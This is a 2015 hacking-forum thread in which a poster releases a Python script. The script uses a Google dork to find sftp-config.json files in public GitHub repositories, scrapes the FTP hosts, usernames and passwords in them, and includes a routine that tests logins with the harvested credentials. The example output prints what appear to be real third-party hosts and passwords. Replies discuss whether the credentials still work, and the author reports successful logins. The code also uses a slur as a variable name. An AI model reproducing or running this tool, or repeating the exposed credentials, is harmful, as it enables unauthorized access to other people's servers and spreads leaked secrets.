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[Release] Using google dorks to get ftp details to sites - Righteous - 02-03-2015

Here is a semi-complete python script that will preform a Google search for the specified Google dork and fetch the URL(s) which are GitHub links that contain json files that have ftp details to various servers/websites.

Source Code:

Code:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# date: 2/02/15
# username: Righteous
# github: http://www.github.com/Righteous
# description: uses a google dork to probe github pages for
# ftp information thats out in the open
# https://github.com/NikolaiT/GoogleScraper
from xgoogle.search import GoogleSearch, SearchError
from socket import error as socket_error
from ftplib import FTP
# http://docs.python-requests.org/en/latest/
import requests
import linecache
import os
import sys
import re
import errno
import random
# config variables
results_start_page = 4
results_per_page = 5
# ftp_timeout = 15
# test_ftp = True
# ftp_info = []
##############################################################
# testFtp(host, user, pass)
# This function tries to login to a ftp server to see if its online &
# to see if the credentials work
# inputs: host -> ip/hostname of ftp server, user -> username to server
# defaults to anonymous, pass -> password to the ftp server also defaults
# to anonymous when non specified
# returns: True if its online and working, False if otherwise
# -> Still working on this <-

def testFtp(host, user, password):
   try:
       ftp_conn = FTP(host, user, password)
       ftp_conn.login()
       ftp_conn.voidcmd('NOOP')
       print 'FTP Connection Sucessful -> %s via %s:%s' % (host, user,
               password)
       return True
   except IOError, io_error:
       print 'IOError: %s ' % repr(io_error)
       return False
   except socket_error:
       if socket_error == errno.ECONNREFUSED:
           print '%s is refusing connections..' % host
           return False
       elif socket_error != errno.ECONNREFUSED:
           print 'Unknown socket error: %s' % socket_error
           return False
   except FTP.error_temp:
       print 'FTP Error: %s\nResponse code 400-499' % FTP.error_temp
       return False
   except FTP.error_perm:
       print 'FTP Error: %s\nResponse code 500-599' % FTP.error_perm
       return False
   except Exception, gn_error:
       print 'Generic Error: %s' % repr(gn_error)
       print '\n'
       return False


##############################################################
# parseJson(data)
# This function saves ftp data to a file
# inputs: data -> "json" data from specific sftp.json pages on github
# returns: host, user and pass to ftp servers publicly listed
# -> Needs more verificaiton added to make sure the variables are whats expected <-
# -> I.E matching a ip address regex or url regex on the host <-

def parseJson(data):
   data = data.split('\n')
   try:
       for line in data:
           if line.find('host') != -1:
               line_parser = re.findall(r'"(.*?)"', line)
               if len(line_parser) >= 1:
                   if line_parser[0] == "host":
                       print str(line_parser[0]) + ' : ' \
                           + str(line_parser[1])
                   else:
                       continue
           elif line.find('user') != -1:
               line_parser = re.findall(r'"(.*?)"', line)
               if len(line_parser) >= 1:
                   if line_parser[0] == "user":
                       print str(line_parser[0]) + ' : ' \
                           + str(line_parser[1])
                   else:
                       continue
           elif line.find('password') != -1:
               line_parser = re.findall(r'"(.*?)"', line)
               if len(line_parser) >= 1:
                   if line_parser[0] == "password":
                       print str(line_parser[0]) + ' : ' \
                           + str(line_parser[1])
                   else:
                       continue
   except IndexError, ie_error:
       print '[parseJson] IndexError: %s' % repr(ie_error)
       print '\n'
   except AttributeError, ab_error:
       print '[parseJson] AttributeError: %s' % repr(ab_error)
       print '\n'
   except Exception, gn_error:
       print '[parseJson] Generic Error: %s' % repr(gn_error)
       print '\n'
   else:
       print '\n'

##############################################################
# getJson(url)
# This function retrieves the json from github pages, also makes urls
# link to the raw page of github (see below for example)
# inputs: url -> url from the google url search
# returns: sftp-config.js pages
# Here is an example of a URL that goes into this function and what comes out..
# In -> https://github.com/Pragueham/thecornerwebsite/blob/master/sftp-config.json
# Out -> https://raw.githubusercontent.com/Pragueham/thecornerwebsite/master/sftp-config.json

def getJson(url):
   jew = url[18:]
   link = 'https://raw.githubusercontent.com' + jew
   link = link.replace("""/blob""", '')
   print 'Replaced Link: ' + link
   get = requests.get(link)
   parseJson(get.text)

def main():
   try:
       google_s = GoogleSearch("""site:github.com inurl:sftp-config.json""")
       google_s.results_per_page = results_per_page
       google_s.page = results_start_page
       query = google_s.get_results()
       for link in query:
           print "Query Size: %s" % (str(len(query)))
           print 'Feteched Link: ' + link.url.encode('utf8')
           getJson(link.url.encode('utf8'))
   except SearchError, q_error:
       print '[Main] Something went wrong: %s' % q_error
   except Exception, gn_error:
       print '[Main] Generic Error: %s' % repr(gn_error)
       print '\n'

main()

# https://github.com/Pragueham/thecornerwebsite/blob/master/sftp-config.json
# https://raw.githubusercontent.com/Pragueham/thecornerwebsite/master/sftp-config.json

Google Dork: 

Code:
site:github.com inurl:sftp-config.json
 

Script dependencies:


Script download (Comes with xgoogle):



The script sometimes messes up or doesn't wanna search more then 5, but I feel like that's google limiting me on how many search results I can get back. If you can improve in any way, feel free. I'm just stuck at the same point with it now.

Example output:

Code:
Feteched Link: https://github.com/light049/bitstarter/blob/master/sftp-config.json
Replaced Link: https://raw.githubusercontent.com/light049/bitstarter/master/sftp-config.json
host : 54.218.76.188
user : ubuntu
password : password
Feteched Link: https://github.com/jwohlfert23/cashflow/blob/master/sftp-config.json
Replaced Link: https://raw.githubusercontent.com/jwohlfert23/cashflow/master/sftp-config.json
host : surge4.com
user : surge446
password : @@JWEW@@



RE: [Release] Using google dorks to get ftp details to sites - zooty - 02-04-2015

python gives me ebola also there are no working passwords with this dork; other bots will have already snapped them up and google takes a while to index the new ones


RE: [Release] Using google dorks to get ftp details to sites - Righteous - 02-04-2015

(02-04-2015, 03:37 AM)zooty Wrote:  python gives me ebola also there are no working passwords with this dork; other bots will have already snapped them up and google takes a while to index the new ones

What's wrong with python? I got a few successful ftp logins, didn't really even look in them. I just did it because I wanted to see if I could.


RE: [Release] Using google dorks to get ftp details to sites - S-0999 - 02-13-2015

Python is great, thanks a lot for doing this. I'll try it out!


RE: [Release] Using google dorks to get ftp details to sites - games4me - 02-26-2015

Going to try and learn this from scratch wish me luck Smile